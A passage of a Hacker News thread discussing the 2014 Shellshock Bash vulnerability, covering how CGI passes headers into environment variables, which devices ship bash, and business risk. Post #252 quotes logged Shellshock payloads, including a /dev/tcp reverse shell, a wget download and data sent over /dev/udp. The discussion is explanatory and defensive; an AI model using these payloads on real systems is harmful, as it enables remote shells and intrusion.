Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

Post reply on HN
Print view View original

251–260 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#251

Post by PeterWhittaker »

95015_refugee wrote: post #248
PeterWhittaker wrote: post #156

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NO…

iOS systems are not vulnerable unless jailbroken. There are no shells, let alone bash, present in the iOS system.

Good to know, thanks!

Re: Everything you need to know about the Shellshock Bash bug

#252

Post by tlrobinson »

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

This is guerrilla marketing at its finest, and I mean that in a good way.

Re: Everything you need to know about the Shellshock Bash bug

#253

Post by bulatb »

blacksqr wrote: post #193
dkarl wrote: post #178

Earlier quoted context omitted.

That was my first question as well. The behavior sounds like exactly the kind of magical weirdness you get with shells. Your question is asked and answered here: https://stackoverflow.com/questions/26022248/is-the-behavior... The answer given there is that the behavior is NOT a documented feature; it's a side-effect of how bash implements inherited functions. I was also very confused about why a web server would need…

> why would a CGI implementation use the shell to set environment variables? This is exactly my question; that, and: if this is so, then isn't any script that uses mod_cgi (e.g., PHP, Perl, etc.) vulnerable? Yet there are multiple statements that only cgi scripts written in bash are vulnerable. I haven't been able to resolve this apparent inconsistency in the description of how the bug works in the case of CGI, which…

Those statements aren't correct. A ShellShock exploit has two steps:

1. Attacker somehow gets to set an environment variable. Since CGI converts HTTP headers to env vars (Host: -> HTTP_HOST, etc), a CGI-enabled server is an easy way to make this happen.

Step 1 on its own would be alarming but ultimately harmless--the variables may contain malicious values, but they can't be used to hurt you if you treat them as untrusted or don't even read them. But since this is *nix, those possibly malicious vars will be inherited by children spawned by the affected process.

If one of those children is Bash, then (regardless of the shell command):

2. When starting up, the Bash process will parse the currently defined environment for things that look like functions and import them. The "ShellShock" portion of this bug is that the parser will keep parsing past the function's closing brace, which means it runs whatever trailing code might be there. Of that trailing code was set by an attacker, with the expectation that you'd start a vulnerable Bash, you're owned.

Re: Everything you need to know about the Shellshock Bash bug

#254

Post by spilk »

drzaiusapelord wrote: post #77
spilk wrote: post #27

I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.

>I can't think of many embedded devices that don't use Busybox instead. What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its…

I have a higher-end (albeit still consumer-level) ASUS wireless router that uses Busybox. I can't imagine that cheaper, lower-end models would be using full GNU bash instead.

Re: Everything you need to know about the Shellshock Bash bug

#255

Post by tlrobinson »

Animats wrote: post #247

A question worth asking: how long has this been exploited? If you have years of Apache logs, go back through them with "grep" and look for attempts to exploit this vulnerability. Report the earliest date on which you find a hit. Thanks.

It would be really nice if log aggregation services (Splunk, Loggly, Papertrail, etc) would do this, notify affected customers, and publicly release anonymized information about it.

Re: Everything you need to know about the Shellshock Bash bug

#257

Post by cbd1984 »

PeterWhittaker wrote: post #156

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NO…

> Android and iOS are variants of Linus

... which is, in turn, a variant of Richard.

Re: Everything you need to know about the Shellshock Bash bug

#258

Post by sophacles »

jamroom wrote: post #246
sophacles wrote: post #210

Earlier quoted context omitted.

If php is being run from mod_cgi, then it is exploitable. The full chain of the attack: Request sent to the url, containing headers with '() { :;}; codehere' Per CGI standard: environment variables are set with the attack code. PHP is executed directly, with the environment containing the attack. PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash. N.B. - If /bin/s…

Correct - if you are using PHP as a CGI. This does not affect mod_php.

And this of course is a non-issue:

https://news.ycombinator.com/item?id=8369443

right?

Re: Everything you need to know about the Shellshock Bash bug

#259

Post by pstrateman »

PeterisP wrote: post #240
sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

Can someone who understands CGI enlighten me why (oh why) everyone treats #4 as the main problem instead of #2 ? I mean, looking at it from an outside perspective, I can interpret #4 as working as intendeed (attacker calls my shell with arbitrary parameters and, naturally, my shell does arbitrary things controlled by the attacker), and #2 as a total WTF - why is apache passing arbitrary input data to global-scoped (a…

The flaw lies in the combination of 2/3.

The HTTP_ environment variables are user input.

The PHP (or whatever CGI script) should be sanitizing user input before using it.

If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']);

Nobody would be freaking out... because that's just stupid.

Re: Everything you need to know about the Shellshock Bash bug

#260

Post by r00fus »

PeterWhittaker wrote: post #156

Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NO…

For any companies that handle customer data, especially PII or credit card information, even having the data access could be actionable and result in massive costs/fines.

This would be a major risk, IMHO.

Post reply on HN